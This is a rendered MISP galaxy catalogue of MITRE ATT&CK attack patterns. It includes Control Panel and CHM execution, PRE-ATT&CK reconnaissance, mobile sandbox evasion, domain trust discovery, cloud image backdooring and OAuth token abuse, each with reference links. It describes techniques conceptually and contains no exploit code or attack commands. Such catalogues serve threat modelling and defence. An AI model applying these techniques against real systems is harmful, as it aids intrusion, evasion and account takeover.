Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)

For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)

Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.

The tag is: *misp-galaxy:mitre-attack-pattern="Control Panel Items - T1196"*

View relationships graph

Control Panel Items - T1196 has relationships with:

C2 protocol development - T1352

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1352).

Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)

The tag is: `misp-galaxy:mitre-attack-pattern="C2 protocol development - T1352"`

Table 5400. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1352">https://attack.mitre.org/techniques/T1352</a></td>
</tr>
</tbody>
</table>

Compiled HTML File - T1223

Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)

Adversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

The tag is: `misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223"`
Create implementation plan - T1232

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1232).

Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)

The tag is: `misp-galaxy:mitre-attack-pattern="Create implementation plan - T1232"`

Determine operational element - T1242

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1242).

If going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: `misp-galaxy:mitre-attack-pattern="Determine operational element - T1242"`
**Identify gap areas - T1225**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1225).

Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)

The tag is: `misp-galaxy:mitre-attack-pattern="Identify gap areas - T1225"`

### Table 5404. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1225">https://attack.mitre.org/techniques/T1225</a></td>
</tr>
</tbody>
</table>

**Map network topology - T1252**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1252).

A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)

The tag is: `misp-galaxy:mitre-attack-pattern="Map network topology - T1252"`

### Table 5405. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1252">https://attack.mitre.org/techniques/T1252</a></td>
</tr>
</tbody>
</table>

**Enumerate client configurations - T1262**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1262).

Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)

The tag is: `misp-galaxy:mitre-attack-pattern="Enumerate client configurations - T1262"

### Table 5406. Table References
Identify business relationships - T1272

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1272).

Business relationship information includes the associates of a target and may be discovered via social media sites such as [LinkedIn](https://www.linkedin.com) or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)

The tag is: `misp-galaxy:mitre-attack-pattern="Identify business relationships - T1272"

View relationships graph

Identify business relationships - T1272 has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Identify business relationships - T1283"` with `estimative-language:likelihood-probability="almost-certain"

Table 5407. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1272">https://attack.mitre.org/techniques/T1272</a></td>
</tr>
</tbody>
</table>

Determine physical locations - T1282

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1282).

Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)

The tag is: `misp-galaxy:mitre-attack-pattern="Determine physical locations - T1282"

Table 5408. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1282">https://attack.mitre.org/techniques/T1282</a></td>
</tr>
</tbody>
</table>
Test signature detection - T1292

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1292).

An adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don’t publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)

The tag is: `misp-galaxy:mitre-attack-pattern="Test signature detection - T1292"`

Table 5409. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1292">https://attack.mitre.org/techniques/T1292</a></td>
</tr>
</tbody>
</table>

Access Contact List - T1432

An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.

The tag is: `misp-galaxy:mitre-attack-pattern="Access Contact List - T1432"`

View relationships graph

Access Contact List - T1432 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Contact List - T1636.003"` with estimative-language:likelihood-probability="almost-certain"

Table 5410. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1432">https://attack.mitre.org/techniques/T1432</a></td>
</tr>
</tbody>
</table>

Network Service Scanning - T1423

Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device’s access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).

The tag is: `misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1423"`
Archive Collected Data - T1532

Adversaries may compress and/or encrypt data that is collected prior to exfiltration. Compressing data can help to obfuscate its contents and minimize use of network resources. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.

Both compression and encryption are done prior to exfiltration, and can be performed using a utility, programming library, or custom algorithm.

The tag is: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1532"

Evade Analysis Environment - T1523

Malicious applications may attempt to detect their operating environment prior to fully executing their payloads. These checks are often used to ensure the application is not running within an analysis environment such as a sandbox used for application vetting, security research, or reverse engineering. Adversaries may use many different checks such as physical sensors, location, and system properties to fingerprint emulators and sandbox environments. (Citation: Talos Gustuff Apr 2019)(Citation: ThreatFabric Cerberus)(Citation: Xiao-ZergHelper)(Citation: Cyberscoop Evade Analysis January 2019) Adversaries may access android.os.SystemProperties via Java reflection to obtain specific system information. (Citation: Github Anti-emulator) Standard values such as phone number, IMEI, IMSI, device IDs, and device drivers may be checked against default signatures of common sandboxes. (Citation: Sophos Anti-emulation)

The tag is: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523"

View relationships graph

Evade Analysis Environment - T1523 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="System Checks - T1633.001" with estimative-language:likelihood-probability="almost-certain"
Conduct passive scanning - T1253

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1253).

Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)

The tag is: `misp-galaxy:mitre-attack-pattern="Conduct passive scanning - T1253"`

Table 5414. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1253">https://attack.mitre.org/techniques/T1253</a></td>
</tr>
</tbody>
</table>

Fast Flux DNS - T1325

This technique has been deprecated. Please use [Fast Flux DNS](https://attack.mitre.org/techniques/T1568/001).

A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)

The tag is: `misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1325"`

Table 5415. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1325">https://attack.mitre.org/techniques/T1325</a></td>
</tr>
<tr>
<td><a href="https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref">https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref</a></td>
</tr>
<tr>
<td><a href="https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref">https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref</a></td>
</tr>
</tbody>
</table>
Subvert Trust Controls - T1632

Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted applications. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features include: an app being allowed to run because it is signed by a valid code signing certificate; an OS prompt alerting the user that an app came from an untrusted source; or getting an indication that you are about to connect to an untrusted site. The method adversaries use will depend on the specific mechanism they seek to subvert.

The tag is: `misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1632"`

Table 5416. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1632">https://attack.mitre.org/techniques/T1632</a></td>
</tr>
</tbody>
</table>

Domain registration hijacking - T1326

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1326).

Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)

The tag is: `misp-galaxy:mitre-attack-pattern="Domain registration hijacking - T1326"

Table 5417. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1326">https://attack.mitre.org/techniques/T1326</a></td>
</tr>
<tr>
<td><a href="https://www.icann.org/groups/ssac/documents/sac-007-en">https://www.icann.org/groups/ssac/documents/sac-007-en</a></td>
</tr>
</tbody>
</table>

Mine social media - T1273

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1273).

An adversary may research available open source information about a target commonly found on social media sites such as [Facebook](https://www.facebook.com), [Instagram](https://www.instagram.com), or [Pinterest](https://www.pinterest.com). Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)

The tag is: `misp-galaxy:mitre-attack-pattern="Mine social media - T1273"`
Buy domain name - T1328

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1328).

Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)

The tag is: `misp-galaxy:mitre-attack-pattern="Buy domain name - T1328"

Identify business relationships - T1283

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1283).

Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)

The tag is: `misp-galaxy:mitre-attack-pattern="Identify business relationships - T1283"

Fake Developer Accounts - T1442

An adversary could use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. For example, Oberheide and Miller describe use of this
technique in (Citation: Oberheide-Bouncer).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Fake Developer Accounts - T1442"*

View relationships graph

Fake Developer Accounts - T1442 has relationships with:


Table 5421. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1442">https://attack.mitre.org/techniques/T1442</a></td>
</tr>
</tbody>
</table>

**Conduct active scanning** - **T1254**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1254).

Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Conduct active scanning - T1254"*

Table 5422. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1254">https://attack.mitre.org/techniques/T1254</a></td>
</tr>
</tbody>
</table>

**System Information Discovery** - **T1426**

Adversaries may attempt to get detailed information about a device’s operating system and hardware, including versions, patches, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1426) during automated discovery to shape follow-on behaviors, including whether or not to fully infects the target and/or attempts specific actions.

On Android, much of this information is programmatically accessible to applications through the `android.os.Build` class. (Citation: Android-Build) iOS is much more restrictive with what information is visible to applications. Typically, applications will only be able to query the device model and which version of iOS it is running.

The tag is: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426"*

Table 5423. Table References
Event Triggered Execution - T1624

Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities.

Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via automatically and repeatedly executing malicious code. After gaining access to a victim’s system, adversaries may create or modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.

The tag is: misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1624"

Identify supply chains - T1246

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1246).

Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)

The tag is: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1246"

View relationships graph

Identify supply chains - T1246 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1265" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1276" with estimative-language:likelihood-probability="almost-certain"
**Domain Trust Discovery - T1482**

Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)

The tag is: `misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482"`

**Table 5426. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=1588">https://adsecurity.org/?p=1588</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1482">https://attack.mitre.org/techniques/T1482</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)">https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)</a></td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944">https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944</a></td>
</tr>
</tbody>
</table>

**Conduct social engineering - T1249**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1249).

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)

The tag is: `misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1249"`
Conduct social engineering - T1249 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1279" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1268" with estimative-language:likelihood-probability="almost-certain"

**Table 5427. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1249">https://attack.mitre.org/techniques/T1249</a></td>
</tr>
</tbody>
</table>

**Stored Data Manipulation - T1492**

Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity. (Citation: FireEye APT38 Oct 2018) (Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492"

**Table 5428. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1492">https://attack.mitre.org/techniques/T1492</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt/rpt-apt38">https://content.fireeye.com/apt/rpt-apt38</a></td>
</tr>
</tbody>
</table>

**Implant Internal Image - T1525**

Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload
Malware, this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image. (Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)

A tool has been developed to facilitate planting backdoors in cloud container images. (Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003). (Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)

The tag is: `misp-galaxy:mitre-attack-pattern="Implant Internal Image - T1525"`

### Table 5429. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1525">https://attack.mitre.org/techniques/T1525</a></td>
</tr>
<tr>
<td><a href="https://github.com/RhinoSecurityLabs/ccat">https://github.com/RhinoSecurityLabs/ccat</a></td>
</tr>
<tr>
<td><a href="https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/">https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/</a></td>
</tr>
</tbody>
</table>

### Cloud Service Discovery - T1526

An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.

Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity. (Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)

For example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services. (Citation: Azure - Stormspotter)(Citation: GitHub Pacu)

Adversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008).

The tag is: `misp-galaxy:mitre-attack-pattern="Cloud Service Discovery - T1526"`

### Table 5430. Table References
Device Driver Discovery - T1652

Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)).

Many OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://attack.mitre.org/techniques/T1007)) may also be available in the Registry.(Citation: Microsoft Registry Drivers)

On Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux Kernel Programming)(Citation: Lsmod man)(Citation: modinfo man)

The tag is: `misp-galaxy:mitre-attack-pattern="Device Driver Discovery - T1652"`

Table 5431. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1652">https://attack.mitre.org/techniques/T1652</a></td>
</tr>
<tr>
<td><a href="https://learn.microsoft.com/windows-server/administration/windows-commands/driverquery">https://learn.microsoft.com/windows-server/administration/windows-commands/driverquery</a></td>
</tr>
<tr>
<td><a href="https://learn.microsoft.com/windows/win32/api/psapi/nf-psapi-enumdevicedrivers">https://learn.microsoft.com/windows/win32/api/psapi/nf-psapi-enumdevicedrivers</a></td>
</tr>
<tr>
<td><a href="https://linux.die.net/man/8/modinfo">https://linux.die.net/man/8/modinfo</a></td>
</tr>
<tr>
<td><a href="https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf">https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf</a></td>
</tr>
</tbody>
</table>
**Hijack Execution Flow - T1625**

Adversaries may execute their own malicious payloads by hijacking the way operating systems run applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur over time.

There are many ways an adversary may hijack the flow of execution. A primary way is by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs or resources, such as file directories, could also be poisoned to include malicious payloads.

The tag is: `misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1625"`

*Table 5432. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1625">https://attack.mitre.org/techniques/T1625</a></td>
</tr>
</tbody>
</table>

**Identify supply chains - T1265**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1265).

Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)

The tag is: `misp-galaxy:mitre-attack-pattern="Identify supply chains - T1265"`

*View relationships graph*

Identify supply chains - T1265 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1276" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1246" with estimative-language:likelihood-probability="almost-certain"

*Table 5433. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1265">https://attack.mitre.org/techniques/T1265</a></td>
</tr>
</tbody>
</table>
Application Access Token - T1527

Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.

Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)

For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)

Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.

The tag is: misp-galaxy:mitre-attack-pattern="Application Access Token - T1527"

View relationships graph

Application Access Token - T1527 has relationships with:


Table 5434. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1527">https://attack.mitre.org/techniques/T1527</a></td>
</tr>
<tr>
